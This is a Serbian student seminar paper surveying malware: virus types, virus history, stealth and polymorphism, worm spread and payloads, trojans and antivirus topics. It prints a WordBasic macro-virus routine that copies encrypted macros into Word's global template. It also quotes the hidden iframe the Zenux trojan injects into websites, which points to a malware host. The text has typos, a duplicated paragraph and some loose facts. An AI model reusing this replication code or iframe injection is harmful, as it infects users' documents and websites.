41
Seminarski rad “Zlonamerni programi”

Zlonamerni programi

  • Upload
    necone

  • View
    1.251

  • Download
    5

Embed Size (px)

Citation preview

Page 1: Zlonamerni programi

Seminarski rad “Zlonamerni programi”

Učenik Profesor:

Page 2: Zlonamerni programi

Sadržaj1 Uvod............................................................................................................................4

1.1. Šta su to zlonamerni programi?...........................................................................41.2. Crvi......................................................................................................................41.3. Logička bomba....................................................................................................41.4. Trojanski konj......................................................................................................51.5. Zamka..................................................................................................................51.6. Virus....................................................................................................................51.7. Putevi zaraze........................................................................................................5

1.7.1. Diskete.........................................................................................................51.7.2 Izmenjivi hard diskovi......................................................................................61.7.3 CD-ROM.....................................................................................................61.7.4 Mreže...........................................................................................................6

1.8. Istorija virusa.......................................................................................................62 Vrste računarskih virusa..............................................................................................8

2.1.1 BOOT sektor virusi..........................................................................................82.1.2 Parazitski virusi...............................................................................................92.1.3 Svestrani virusi................................................................................................92.1.4 Virusi pratioci..................................................................................................92.1.5 Link Virusi.....................................................................................................102.1.6 Makro ili skriptni virusi.................................................................................11

2.1.6.1 Izgled jednog koda makro virusa...............................................................112.2 Podela prema mestu u memoriji........................................................................12

2.2.1 Virusi koji nisu rezidentni u memoriji.......................................................122.2.2 Virusi rezidentni u memoriji......................................................................12

3 Neke virusne tehnike.................................................................................................133.1 Enkripcija...........................................................................................................133.2 Polimorfni virusi................................................................................................133.3 „Stealth“.............................................................................................................14

4 Тrojanski konj................................................................................................................154.1 Zenux.................................................................................................................15

5 Računarski crvi – WORMS.......................................................................................165.1 Način otkrivanja mete........................................................................................16

5.1.1 Skeniranje..................................................................................................165.1.2 Pre-generisana lista adresa.........................................................................165.1.3 Spoljna generisana lista adresa..................................................................165.1.4 Interna lista adresa.....................................................................................175.1.5 Pasivni........................................................................................................17

5.2 Način širenja......................................................................................................175.2.1 Samonoseći................................................................................................175.2.2 Sekundarni kanal.......................................................................................175.2.3 Umotani.....................................................................................................17

5.3 Aktivacija crva...................................................................................................185.3.1 Ljudska aktivacija......................................................................................185.3.2 Aktivacija ljudskim postupkom.................................................................18

Page 3: Zlonamerni programi

5.3.3 Zakazani proces aktivacije.........................................................................185.3.4 Samoaktivacijа...........................................................................................18

5.4 Teret (Payload)..................................................................................................185.4.1 Nepostojeći/nefunkcionalan......................................................................195.4.2 Daljinska kontrola......................................................................................195.4.3 Spam relays................................................................................................195.4.4 HTML-proksi.............................................................................................195.4.5 Internet DOS..............................................................................................195.4.6 Skupljači podataka.....................................................................................195.4.7 Brisači podataka.........................................................................................205.4.8 Fizička šteta...............................................................................................20

5.5 Izgled koda za Jerusalm.asm crva.....................................................................206 Firewall (Zaštitni zid)....................................................................................................22

6.1 Problemi i slabosti................................................................................................237 Prepoznavanje virusa – Antivirusni programi...............................................................24

7.1 Skeneri...............................................................................................................247.2 Provera checksum-ом........................................................................................247.3 Programi za “monitoring”..................................................................................25

8 Posledice napada virusa.............................................................................................269 Čišćenje Virusa..........................................................................................................27

Page 4: Zlonamerni programi
Page 5: Zlonamerni programi

1 Uvod

1.1. Šta su to zlonamerni programi?

Za definiciju zlonamernih programa najbolje je uzeti onu od dr. Frederika Kohena po kojoj zlonamerni program predstavlja program koji može inficirati druge programe, modifikujući ih tako da uključe kopiju njega samoga, koja takođe može biti inficirana. Pod infekcijom se ovde misli na mogućnost Zlonamernog programa da ubaci svoje izvršenje u postupak izvođenja programa. Ova definicija je ključna za određivanje zlonamernih programa, jer ne smatramo svaki maliciozan program zlonameran, drugim rečima, nije svaki destruktivni program zlonameran, jer bi u tom slučaju i program Format bio zlonameran. Struktura zlonamernih programa se može najlakše podeliti na tri komponente, od koje zlonamerni program obavezno mora imati samo prvu. Prva komponenta predstavlja mogućnost infekcije.

Dakle, nije nužno da Zlonamerni program radi bilo kakvu štetu na računaru, sama činjenica da se širi infekcijom dovoljna je da se okarakteriše zlonamernim programom. Drugi deo zlonamernog programa, koji nije obavezan, predstavlja nosivnu komponentu. Taj deo definiše sve aktivnosti koje će biti izvedene uz njegovo širenje. Treći deo predstavlja funkcija za okidanje koja definiše vreme ili događaj prilikom kojeg će biti izvršena nosivna kompnenta zlonamernog programa. Zlonamerno napisani računarski program ili delovi programskog koda nazivaju se raznim imenima. To su crvi (worm), trojanski konji (trojan horse), logičke bombe (logic bomb), zamke (trap-door) i naravno, virusi.

1.2. Crv

Crv je program koji se širi samoumnožavanjem kroz računarske mreže. Crv je samostalan i za razliku od virusa ne treba program domaćin da bi radio. Takođe, crva u „pogon“ pušta i kontroliše sam autor.

1.3. Logička bomba

To je metoda aktivacije procesa temeljem zadovoljavanja logičkog uslova – postojanja ili nepostojanja nekog podatka, protoka, određenog vremena ili u određeno vreme i sl. Logička bomba u stvari predstavlja princip delovanja, a ne celovit mehanizam. Logičke bombe su često sastavni deo mnogih računarskih virusa.

1.4. Trojanski konj

4

Page 6: Zlonamerni programi

Proram koji naizgled služi za neku drugu operaciju za koju je napravljen.

Trojanski konj bi recimo, bio program koji izgleda kao tekst procesor, a zapravo jednom pokrenut formatira hard disk. Mnogi autori virusa koriste trojanske konje kako bi olakšali razmnožavanje svojim mezimcima.

1.5. Zamka

Predstavlja posebnu nedokumentovanu funkciju programa koja se može pokrenuti na unapred određen način. Progameri koji pišu različite programe često znaju prevideti posebnu lozinku ili sekvencu znakova koja jednom otkucana omogućava pristup do inače nevidljivih funkcija programa.

1.6. Virus

Deo programskog koda koji je sposoban izvršiti samokopiranje (infekciju) dodavnjem svog sadržaja u druge programe ili delove operativnog sistema. Kao što se može primetiti postoji velika slićnost između kompjuterskih i bioloških virusa.

Virus se obično sastoji od dva dela. Prvi deo je samokopirajući kod, koji omogućava razmnožavanje virusa,a drugi deo je korisni teret (payload) koji može biti bezopasan (benigan) ili oapas (maligan). Neki se virusi sastoje isključivo samo do samokopirajućeg dela i nemaju nikakv korisni teret.Iako virus „u promet“ najčešće pušta sam autor, kontrola nad razmnožavanjem oslobođenog virusa nije u rukama autora.

1.7. Putevi zaraze

Najčešće postavljano pitanje nakon otkrivanja virusa je „kako je do zaraze došlo?“.Iako su mnoge stvari vezane za viruse vrlo složene, odgovor na ovo pitanje je više nego jednostavan. Virusni kod, da bi se umnožavao, treba prethodno biti izvršen. Neki se prorami na računaru izvršavaju voljom korisnika, a neki automatski, bez njegove volje.

1.7.1. Diskete

Floppy diskovi (diskete) su nekada bili najčešći mediji kojima se prenose virusi. Danas su one zamenjene USB Flash diskovima,

5

Page 7: Zlonamerni programi

1.7.2 Izmenjivi hard diskovi

Iako se redje koriste, takodje predstavljaju pogodan medij za prenos svih vrsta virusa.

1.7.3 CD-ROM

CD-ROM-ovi su se pokazali kao odličan medij za prenos virusa, iako se sa CD-ROM-ova po pravilu ne obavlja startovanje sistema pa nisu pogodan medij za prenos BOOT sektor virusa. Nezgodna je činjenica da programi i podaci na njima dolaze u kompresovanoj formi, što dodatno otežava pregled antivirusnim programima.

1.7.4 Mreže

Virusi na računarskim mrežama predstavljaju jedan od najvećih rizika danas, a predstavljaće ga i u budućnosti.

1.8. Istorija virusa

Šezdesetih i sedamdesetih godina, još u vreme mainframe računara, postojao je fenomen zvan zec (rabbit). Zec je najčešće nastajao slučajno ili greškom kada je „pomahnitali“ računarsi program počeo sam sebe kopirati špo sistemu, izazivajući usporenje ili pad sistema. No, nisu svi „zečevi“ nastali slučajno.

Prvi pravi predak današnjih virusa - Prevading animal (prožimajuća zver) bio je program sposoban da se nadogradi na druge kompjuterske programe na UNIVAC 1108 kompjuterskom sistemu, a napadnuti programi su čak bili označeni posebnom signaturom u svrhu samoprepoznavanja.

Prvi potvrđen nalaz kompjuterskog virusa, dakle 1981. godine bio je Elk Cloner – virus koji je inficirao BOOT sektor disketa za legendarni Apple II računar.U novembru 1983. godine, Len Adleman prvi put u istoriji je upotrebio reč „virus“ opisujući samokopirajući kod.

Prelomna je i 1986.godina, kada se pojavljuje kompjuterski virus Brain (mozak). Ovaj virus, sposoban inficirati BOOT sektore 360 KV disketa IBM PC kompjutera brzo je osvojio svet. Na svu sreću, virus nije bio destruktivan, nego je u sebi samo nosio podatke po autorima.

Nakon toga stvari kreću brže. Pojavljuje se kompjuterski virus Jerusalem (1988.) koji je brisao sve pokrenute programe, te prvi pravi destruktivac Virus Datacrime (1989.), koji je bio sposoban izvršiti lowlevel format nulte staze na disku.

1989. osnovano je udruženje virusa u Bugarskoj. Izvesna osoba (ili više osoba) koje sebe naziva naziva Dark Avenger (Crni Osvetnik) do danas je napisala najmanje 50-tak virusa uključujući neke od najpoznatijih kao što su New Zeland i Michelangelo

.

6

Page 8: Zlonamerni programi

Hronološki prikaz najpoznatijih virusa do danas::

* 1960/1970 - The rabbit(Univax 1108), Pervading Animal(Univax 1108)* 1970 - The Creeper(Tenex OS)* 1980 - Pojava trojanaca* 1981 - Elk Cloner(Apple II)* 1986 - Brain(IBM PC), VirDem* 1987 - Vienna, Yale, Stoned, PingPong,Christmas Tree(VM/CMS) * 1988 - Jerusalem, Morris* 1989 - Daracrime, Yankee(IBM PC), Trojanski konj AIDS* 1990 - Chameleon, DiskKiller* 1991 - Dir-II* 1992 - Michelangelo* 1994 - GoodTimes, Shifter, SCRVir, OneHalf* 1995 - Form(Windows 95), Concept(Windows 95)* 1996 - Win95.Boza(Windows 95), Win.Tentacle(Windows 3.x),OS2.AEP, Laroux, Win95.Punch* 1997 - Linux.Bliss(Linux), ShareFun, crv Homer* 1998 - Win95.HPS(Windows), Win95.Marburg(Windows),AccessiV, RedTeam, Win95.CIH(Windows),Java.StrangeBrew, VBScript.Rabbit, HTML-Internal,Trojanci: BackOrifice, NetBus, Phase, Sub7,...

7

Page 9: Zlonamerni programi

2 Vrste računarskih virusaRačunarski virusi se mogu podeliti na šest vrsta:

Boot sektor viruse Parazitske viruse Svestrane (multipartite) viruse Companion viruse Link viruse Мakro viruse

Ova podela prvenstveno vodi računa o načinu na koji virus može zaraziti različite delove računarskog sistema. Bez obzira kojoj grupi pripada, svaki virusni kod mora biti izvršen da bi proradio i razmnožavao se. Osnovna razlika između različitih virusa je u načinu na koji to pokušavaju osigurati. Postoji još i podela na viruse zavisno od toga da li je virus prisutan u memoriji na:

Viruse koji su rezidentalni u memoriji Viruse koji nisu rezidentalni u memoriji

2.1.1 BOOT sector virusi

Boot sektor virusi napadaju Master BOOT sektor (partitition table), DOS BOOT sektor (oba na hard diskovima) ili BOOT sektor floppy disketa, odnosno program koji se u njima nalazi. BOOT sektor je idealan objekt za infekciju, budući da sadrži prvi program koji se izvršava na računaru, čiji se sadržaj može menjati. Kada jednom računar bude uključen, program u ROM-u (BIOS) će bez pitanja učitati sadržaj Master BOOT sektor u memoriju i izvršiti ga. Ako se u njemu nalazi virus, on će postati aktivan.

No kako je virus dospeo u Master BOOT sektor? Najčešće pokušajem startovanja sistema sa inficirane floppy diskete, ali boot sektor virusi se mogu širiti i pomoću posebnih programa, trojanskih konja, nazvanih dropper (bacač) – kojima je glavna namena da neprimetno „ubace“virus u BOOT sektor.BOOT sektor virusi su veoma uspešni u razmnožavanju – od sedam najčešćih kompjuterskih virusa čak šest ih je sposobno zaraziti BOOT sektor.

8

Page 10: Zlonamerni programi

2.1.2 Parazitski virusi

Najčešća vrsta virusa su upravo parazitski virusi. Ovi su virusi sposobni zaraziti izvršne datoteke na računarskom sistemu dodavanjem svog sadržaja u samu strukturu programa, menjajući tok inficiranog programa tako da se virusni kod izvrši prvi. Poznati računarski virusi sposobni su zaraziti: COM, .EXE, .SYS, .OVL. i druge datoteke.

2.1.3 Svestrani virusi

„Dobre“ osobine boot sektor i parazitksih virusa ujedinjene su kod svestranih virusa (multipartite) virusa. Ovi virusi sposobni su zaraziti i BOOT sektore i izvršne programe, povećavajući tako mogućnost širenja. Poput BOOT sektor virusa veoma su efikasni u širenju. Napdaju BOOT sektore i izvršne programe

2.1.4Virusi pratioci

Najjednostavniji oblik računarskih virusa su upravo virusi pratioci. Oni koriste prioritet kojim se izvršavaju programi s istim imenom pod DOS-om.

9

Page 11: Zlonamerni programi

.COM datoteke se uvek izvršavaju pre .EXE datoteka, program iz direktorijuma koji su na početku PATH niza izvršavaju se pre onih sa kraja. Virus pratlac obično stvori .COM datoteku koristeći ime već postojećeg . EXE programa i ugradi u nju svoj kod. Princip je jednostavan – kada program bude pozvan, umesto originala sa ekstenzijom .EXE, prvo će se izvršiti podmetnuti .SOM program s virusnim kodom. Kada izvršavanje virusnog koda bude završeno, virus će kontrolu programu sa .EXE eksenzijom. Da bi prikrio prisustvo, virus pratilac će postaviti skriveni atribut za .SOM program u koji je stavio svoj sadržaj. Ova vrsta ne menja „napadnuti“ program, a zbog nespretnog načina širenja ne predstavlja veću opasnost.

2.1.5Link virusi

Najinfektivnija vrsta virusa su link virusi koji jednom pokrenuti, u trenu inficiraju napadnuti računarski sistem. Poput virusa pratioca ovi virusi ne menjaju „napadnute“ programe već menjaju pokazivače u strukturi direktorijuma na takav način da ih preusmere na cluster na disku gde je prethodno sakriven virusni kod. Na svu sreću, ova izrazito infektivna i neugodna vrsta virusa, koja ѕbog samog načina razmnožavanja može izazvati pravi haos na disku, ima trenutno samo dva predstavnika od ukupno četiri.

10

Page 12: Zlonamerni programi

2.1.6 Makro ili skriptni virusi

Najčešći virusi u poslednje vreme koriste mogućnost izvršavanja skripti u programima koji su u širokoj upotrebi, npr. Internet Explorer, Outlook i Outlook Express, zatim Word, Excel. Mnogi od tih programa imaju puno sigurnosnih rupa za koje se zakrpe ne izdaju često,a korisnici ih još manje primenjuju.Ukoliko je sigurnost prioritet pri radu na računaru predlaže se isključivanje skriptnih jezika (Java, VBscript, itd...)

2.1.6.1 Izgled jednog koda makro virusa

Sub MAINOn Error Goto AbortiMacroCount = CountMacros(0, 0)'CHECK TO SEE IF INFECTION EXISTSFor i = 1 To iMacroCount

If MacroName$(i, 0, 0) = "PayLoad" ThenbInstalled = - 1

'BY LOOKING FOT THE PAYLOAD MACROEnd IfIf MacroName$(i, 0, 0) = "FileSaveAs" Then

bTooMuchTrouble = - 1'BUT IF THE FILESAVEAS MACRO EXISTS THEN INFECTION IS'TOO DIFICULT.End If

Next iIf Not bInstalled And Not bTooMuchTrouble Then

'add FileSaveAs and copies of AutoExec and FileSaveAs.'Payload has no use except to check for infection.'The ,1 encrypts all macros in their destination making'them unreadble in Word.iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))sMe$ = FileName$()Macro$ = sMe$ + ":PayLoad"MacroCopy Macro$, "Global:PayLoad", 1Macro$ = sMe$ + ":FileOpen"MacroCopy Macro$, "Global:FileOpen", 1Macro$ = sMe$ + ":FileSaveAs"MacroCopy Macro$, "Global:FileSaveAs", 1Macro$ = sMe$ + ":AutoExec"MacroCopy Macro$, "Global:AutoExec", 1SetProfileString "WW6I", Str$(iWW6IInstance + 1)

End IfAbort:End Sub

THE SaveAs ROUTINE

11

Page 13: Zlonamerni programi

2.2 Podela prema mestu u memoriji

2.2.1 Virusi koji nisu rezidentni u memoriji

Osnovna vrsta su virusi, koji, kada njihov kod bude izvršen i pošto vrate kontrolu originalnom programu, ne ostaju aktivni u memoriji. Ova vrsta operiše tako da tokom svog izvršenja pronađe objekat pogpdan za infekciju i zarazi ga. Teoretski su ovi virusi manje infektivni od virusa rezidentnih u memoriji, ali nažalost, u praksi to nije uvek slučaj. Zaraženi program koji u sebi nosi kod virusa, koji se često izvršava, biće izuzetno delotvoran. Kako ovi virusi ne menjaju količinu slobodne radne memorije, moguće ih je primetiti samo po promeni dužine programa na disku. Danas ova vrsta virusa sve više „izlazi iz mode“ budući da se ne mogu koristiti tehnike samosakrivanja koje zahtevaju da virus bude aktivan u memoriji.

2.2.2 Virusi rezidentni u memoriji

Kao što samo ime kaže, ova se vrsta virusa instalira u radnoj memoriji racunara i ostaje aktina dugo nakon što zaraeni program bude izvršen. Virus aktivan u memoriji može biti sposoban zarziti svaki izvršeni progra, svaku disketu koja bude pokrenuta (pod uslovom da nije zaštićena od pisanja), on može motriti aktivnost sistema ili u svakom trenutku izvršiti svoj korisni teret. Ovi virusi su vrlo infektivni. Osim toga oni su sposobni koristiti sve moguće virusne tehnike, te predstavljaju trend u razvoju virusa. Neki virusi koriste kombinacije ovih dveju tehnika. Tako na primer, virus može inficirati programe na način koji je tipičan za viruse koji nisu rezidentni u memoriji, ali nakon izvršenja virusnog koda ostavlja u memoriji mali rezidentni program sa korisnim teretom koji sam po sebi nije sposoban inficirati druge programe.

12

Page 14: Zlonamerni programi

3 Neke virusne tehnike„Uspešnost“ virusa meri se dužinom vremena u kojem virus neprimetno ostaje

akivan, inficirajući druge programe. Što je „vreme inkubacije“ duže, to su mogućnosti za opstanak viruasa i eventualno izvršenje korisnog tereta veće. Osim toga,, jednom otkriven virus može se pokušati braniti od postupaka analize koji se redovno sprovodi radi utvrđivanja načina za njegovo sigurno pronalaženje. Važno je napomenuti da su sve ultraopasne tehnike o kojima će biti reči u nastavku, potpuno bezopasne, ako se pri korišćenju antivirusnih programa poštuju osnovne mere antivirusne zaštite.

3.1 Enkripcija

Enkripcija ili šifrovanje je postupak kojim se originalna informacija menja u cilju prikrivanja njenog pravog sadržaja. U osnovi šifrovanja postoji obrnut postupak dekripcije kojim se ponovo dobijaju originalne informacije. Prvi razlog upotrebe šifrovanja je pokušaj otežavanja pronalaženja virusa. Teoretski, ako virus menja svoj sadržaj i u svakom inficiranom sadržaju izgleda drugačije, teže je na temelju proučavanja njegovog tela izvući search string ili napraviti algoritam za pronalaženje. U praksi stvari stoje rugačije. Naime, nije moguće izvesti šifrovanje celog virusnog koda, budući da onaj deo koda koji vrši dekripciju mora ostati neenkriptovan. Osim toga, svaki enriptovani virus mora pre izvršenja svoj deekriptovati u memoriji. Upotreba enkripcije možda može otežati analizu virusa, ali ne mora nužno otežati i njegovo pronalaženje.

3.2 Polimorfni virusi

Korak dalje u igri skrivača je polimorfizam (više oblika). Polimorfizam predstavlja preoblikovanje izvršnog koda, na takav način da se očuva funkcija, ali istovremeno bitno promeni njegov izgled. Pogledajte sledeći primer:

Rezultat izvršenja dela koda iz pretodna četiri primera biće isti, ali svaki od njih u memoriji izgleda drugačije. Polimorfizam je najčešće dopuna tehnike enkripcije. Nakon što je glavnina tela virusa već šifrirana nastoji se premeštanjem redosleda instrukcija ili korišćenjem drugih instrukcija prilikom svake naredne infekcije izmeniti i deo virusa koji obavlja dekripciju. Ovim se pokušava doskočiti nemogućnosti šifrovanja i tog dela koda.

13

Instrukcije Asembliraju se kao

1. mov ah,4ch mov al,00h

B4 4CB0 00

2. mov al,00h mov ah,4ch

B0 00B4 4C

3. mov ax,4c00h B8 00 4C

4. mov dx,4c00h mov ax,dx

BA 00 4C89 D0

Page 15: Zlonamerni programi

Enkripcija, kombinovana sa polimorfizmom predstavlja jedan od najopsanijih trendova u razvoju virusa.

3.3 „Stealth“

Stealth (nevidljivost, samoskrivanje) je još jedna kompleksna tehnika koju koriste vešti pisci računarskih virusa. Temelj tehnike samoskrivanja je pokušaj prevare korisnika, sistema ili antivirusnog prorama na takav način da ga se uveri da se sa sistemom ne događa ništa neobično. Na primer, najjednostavnija tehnika samoskrivanja je presretanje DIR komande na takav način da se umesto stvarne, pokaže dužina zaraenih programa pre infekcije.

Tehnike samoskrivanja koriste način komunikacije između softvera i hardvera na računaru. U osnovi, ova se komunikacija odvija preko interrupta. Kada procesor dobije zahtev za čitanjem s diska, on će izvršiti deo koda na koji je usmeren odgovarajući interrupt. Ako virus izmeni interrupt vektor i izvođenje pojedinih funkcija preusmeri prvo na sebe, nmože se lako pratiti sva događanja na sistemu i njima bez problema „vladati“.

14

Page 16: Zlonamerni programi

4 Trojanski konjTrojanskim konjem se u računarskom žargonu označavaju zloćudni programi, koji

su "maskirani" kao korisni ili se proširuju "prikačeni" na druge korisne programe. "Trojanci" obično vrše, neželjene akcije u računaru i to u "pozadini" i prikriveno. Najčešća od tih neželjenih akcija je otkrivanje korisničkih lozinki, bankovnih podataka i drugih povjerljivih informacija "prisluškivanjem" razmjene podataka ili jednostavno čitanjem tih datoteka, i javljanje istih "vlasniku" trojanskog konja.

Postoje i trojanski konji u službi policije koji se bave prikupljanjem informacija sa ciljem otkrivanja krivičnog djela (engl. Remote Forensic Software). Taj oblik špijuniranja građana je u nekim zemljama pravosnažan i vrši se po sudskom nalogu (npr. SAD, Australija), u nekima je i pored sukoba sa Ustavom, u fazi pripreme (Nemačka, Austrija, Švajcarska), dok je u nekima odbijen. Takvi trojanci se šire instalacijom ili aktuelizovanjem komercijalnih operativnih sistema i drugih softverskih i hardverskih komponenti računara, kao i putem internet provajdera infiltriranjem u postojeće mehanizme prenosa podataka, koji takvu mogućnost u svojim produktima i uslugama, na zahtev dotične države, moraju predvideti.

Poznati trojanski konji:

Zenux Back Orifice Netbus SubSeven

Obratićemo pažnju na virus pod nazivom „Zenux“.

4.1 Zenux

Trojanski konj koji zaražava računare korisnika interneta i krade im kodove za FTP pristup, posle čega inficira stranice sajtova koje se nalaze na istim FTP nalozima.

Nakon zaražavanja računara, virus sa računara preuzima sve dostupne kodove za FTP pristup. Nakon ovoga ulazi na odgovarajuće FTP naloge i ubacuje malo parče koda u stranice ili templejte sajtova koje se nalaze na njima. Element koji se dodaje svakoj stranici je mali ugnježdeni frejm (iframe od engl. iframe, inline frame) veličine 1×1 piksela, u donjem levom uglu stranice. Nakon što je neka strana inficirana, ponaša se kao virusov domaćin.Tačan kod koji virus ubacuje je:<!-- ~ --><iframe src="http://zenux.info/info/index.php" width="1" height="1"><!-- ~ -->Prve prijave ovog virusa su zabeležene 11. jula 2007. godine.

15

Page 17: Zlonamerni programi

5 Računarski crvi – WORMSKlasični virusi danas su zapravo retki. Današnji korisnici se uglavnom susreću sa

crvima. Crvi su maliciozni programi koji se računarskim mrežama i računarima,a da pritom ne inficiraju druge programe. Ovde vidimo osnovnu razliku između virusa i crva, a to je da crvi nemaju prvu i obaveznu komponentu virusa, mogućnost infekcije programa. Crvi obično upotrebljavaju računarsku mrežu ne bi li se širili i danas najčešće na adresu primatelja stižu u vidu attachment-a elektronske pošte. Nei drugi crvi za svoje širenje koriste različite sigurnosne probleme, ali svima im je karakteristika da ne inficiraju druge programe.

5.1 Način otkrivanje mete

5.1.1 Skeniranje

Označava tesitaranje adresa da se identifikuju ranjivi računari. Postoje dve varijante skeniranja, sekventno ili slučajno. Zbog svoje jednostavnosti to je vrlo čest način širenja crva. Ovo nije jako brz način širenja, ali kod crva sa automatskom aktivacijom širenje može biti vrlo brzo, primer za to su crvi Blaster ili Code Red I. Skeniranjem, crv uzrokuje puno abnormalnog, mrežnog prometa pa se po tome može i prepoznati, a neki antivirusni prorami i firewall-ovi automatski reaguju i ograničavaju taj promet, što može zaustaviti crva.

5.1.2 Pre-generisana lista adresa

Napadač može napraviti listu adresa pre lansiranja crva na kojima bi bile verovatne žrtve. Mala lista bi se mogla iskoristiti za ubrzavanje skenirajućeg crva,a stvaranjem velike liste, dobijamo neverovatno brzog crva, koji može u nekoliko minuta zaraziti mlione računara. Takav crv osim u laboratorijskim uslovima još nije napravljen.

5.1.3 Spoljna generisana lista adresa

Spoljna generisana lista je ona koju održava neki nezavisni server. Serveri koji imaju popis adresa drugih servera nazivaju se metaserveri. Najbolji primer za to je servis GameSpy koji održava listu pokrenutih servera nekih od najpopularnijih mrežnih igara današnjice, a kada pogeldamo koliko ljudi se igra na internetu, dobijamo ogromne lista adresa. Ova tehnika bi se mogla iskoristiti i na search stranicama, jer npr. Google ima listu većine web servera na svetu. Metaserver crvi još uvek nisu primećeni na slobodi,a li rizik je veliki zbog velike brzine širenja koju bi crv mogao postići.

16

Page 18: Zlonamerni programi

5.1.4 Interna lista adresa

Mnoge aplikacije na računaru sadrže informacije o IP ili e-mail adresama drugih računara. Nakon što crv zarazi računar, pretraži neke najčešće aplikacije u potrazi za adresama i šalje se na njih. To često viđamo kod novijih crva koji pretražuju adresae u Outlook-u i šalju se na sve e-mail adrese koje pronađu. Ove crve je teško otkriti skeniranjem mrežnog prometa jer crv na računaru nalazi adrese računara s kojima se ionako komunicira pa dodatni mrežni promet nije sumnjiv.

5.1.5 Pasivni

Pasivni crv ne traži adrese računara žrtve, već čeka da se žrtva javi ili se oslanja na korisnika koji mu otkriva nove mete, npr. Surofvanjem po internetu. Gnuman crv se predstavlja kao Gnutella čvor, koji se koristi za distribuciju izmene podataka (većinom muzike i filma) na internetu. Kada se žrtva javi sa zahtevom za određenom datotekom, crv šalje sebe. Iako potencijalno spori, pasivni crvi ne proizvode abnormlani mrežni primet pa ih je teško otkriti.

5.2 Način širenja

5.2.1 Samonoseći

Samonoseći crv sam sebe prenosi kao deo infekcije. Ovaj mehanizam je čest kod samoaktivirajućih skenirajućih crva, gde je čin infekcije ujedno i prenošenje crva, kao npr. kod crva CRClean.

5.2.2 Sekundarni kanal

Neki crvi, kao npr. Blaster,zahtevaju sekundarni komunikacijski kanal da izvrše infekciju. Iako Blaster koristi sigurnosnu rupu u RPC , računar žrtve otvara TFTP kanal preko kojeg se prenosi sam crv, završavajući proces infekcije.

5.2.3 Umotani

Taj tip crva se premosi kao deo normalnog komunikativnog kanala, ili dodavajući se normalnoj poruci ili zamenjujući je. Kao rezultat dobijamo širenje koje izgleda ka normalni mrežni promet, pa je crva teže otkriti.

17

Page 19: Zlonamerni programi

5.3 Aktivacija crva

5.3.1 Ljudksa aktivacijaNajsporiji način aktivacije zahteva da crv uveri lokalnog korisnika računara da

izvrši lokalnu kopiju crva. Da bi potakli korisnike, autori crva se koriste raznim tehnikama socijalnog inžinjeringa. Neki kao Mellisa crv glume hitno pismo od poznanika ("Attached is an important message for you"), neki kao Iloveyou crv ciljaju na taštinu korisnika ("Open this messege to see who loves you"), a neki kao Benjamin koriste pohlepu ("Download this file to get copyrighted material for free"). Dok neki zahtevaju pokretanje attachment-a kojeg dobijamo e-mail-om, neki (npr. Klez ) koriste sigurnosne propuste u Outlook-u i samim gledanjem poruke, računar je zaražen.

5.3.2 Aktivacija ljudskim postupkomNeki crvi se ne mogu pokrenuti prilikom zaraze, ali mogu zapisati svoje podatke

na bilo koje mesto na disku, pa se onda pokreću prilikom restartovanja sistema ili logovanja na „account“.еки црви се не могу покренути приликом заразе, али могу записати своје податке на било које место на диску, па се онда покрећу приликом рестартовања система или логовања на „account“.

5.3.3 Zakazani proces aktivacijeNeki prilično brzi crvi koriste zakazane sistemske procese. Mnogi operativni

sistemi i programi imaju mogućnost automatskog unapređivanja prorama sidanjem novije verzije sa odrđene adrese. Ako autor crva zanemari zakrpu programa crvom, ili ga ne doda u zakrpu, on će se nakon sidnja automatski izvršiti. Ako program nema proveru autentičnosti izvora, dovoljno je najobičnije DNS preusmeravanje adresa da se računar zarazi.

5.3.4 SamoaktivacijaUverljivo najbži način širenja crva. Operativni sistemi i razni programi su puni

sigurnosnih propusta koji omogućavaju neovašćeno pokretanje programa, npr. Code Red koristi IIS Web server koji dolazi za jedno sa Windows opertaivnim sistemom. Takvi crvi se dodaju pokrenutim procesima i koriste njihova dopuštenja za pokretnjae programa. Najbolja zaštita je redovno dopunjavnje zakrpa za ugrožene programe.

5.4 Тeret (Payload)

Teret (Payload) je drugi naziv za kod koji crv nosi, a ne služi za njegovo širenje. Taj kod je limitiran jedino ciljem i maštom autora crva. Teret može biti:

5.4.1 Nepostojeći/nefunkcionalan

18

Page 20: Zlonamerni programi

Najčešći slučaj kod većine crva je upravo ovaj, kada ne postoji kod osim koda za širenje ili u njemu postoji nekakva greška pa nije funkcionalan.

5.4.2 Daljinska kontrola

Otvara backdoor 1na žrtvinom računaru.

5.4.3 Spam relays

Deo crva Sobig kreira mail relay koji spameri mogu koristiti da bi slali neželjenu elektronsku poštu. Većina Internet provajdera ima sigurnosne mehanizme koji blokiraju spam sa poznatih IP adresa, ali kod zaraze ovim crvom spam dolazi sa svih strana i nemoguće je na taj način kontrolisati njegovo širenje.

5.4.4 HTML-proksi

Još jedna osobina crva Sobig je distribucija HTML-proksija. Preusmeravajući veb zahteve preko mnogo proksija veb stranice sa zabranjenim sadržajem dobijaju na vremenu jer provajderima treba puna vremena da otkriju na kojoj se adresi veb stranica fizički nalazi. Ovo se koristi za razne nelegalne aktivnosti, uključujući prevare sa upisivanjem financijskih podataka ili brojeva kartica.

5.4.5 Internet DOS

Još jedan česti teret je Internet DOS (Denial of Service) napad. Code Red, Yaha i još mnogo crva sadrže DOS alate, koji su ili upereni protiv određene stranice ili se mogu uperiti protiv bilo koga ako autor crva to poželi. Kada crv zarazi 100 000 ili više računara zombija moguće je nedostupnom učiniti bilo koju stranicu, pa čak i celi DNS sistem!

5.4.6 Skupljači podataka

Većina ljudi na računaru na kojem rade imaju osetljive podatke poput poslovnih tajni, nacrta novih uređaja, finansijskih izveštaja, itd. crv može pretražiti disk računara u potrazi za tim podacima i zatim ih poslati na pre određeno mesto

.

5.4.7 Brisači podataka

1 Bekdor (engl. Backdoor) je program koji je instaliran od strane virusa, crva ili trojanskog konja (bez znanja vlasnika) i koji trećim osobama omogućava nesmetan i od vlasnika neovlašten pristup računaru. Backdoor koristi slabosti operativnog ili zaštitnih sistema (zaštitnog zida ili antivirusnog programa).

19

Page 21: Zlonamerni programi

Postoji mnogo virusa, sadrže kod za brisanje podataka nakon određenog vremena. Budući da se crvi mogu širiti mnogo brže, mogli bi početi brisati podatke odmah nakon infekcije.

5.4.8 Fizička šteta

Većina današnjih računara podržava nadogradnju pokretačkog softvera, pa tako i računara koji imaju BIOS čip koji je moguće flešovati direktno iz Windows-a. Ukoliko se u flašu čip upišu pogrešni podaci računar se više neće moći pokrenuti.

5.5 Izgled koda za Jerusalm.asm crva

;The "Jerusalem" virus.;Also Called - Israeli, PLO, Friday the 13th - Version A

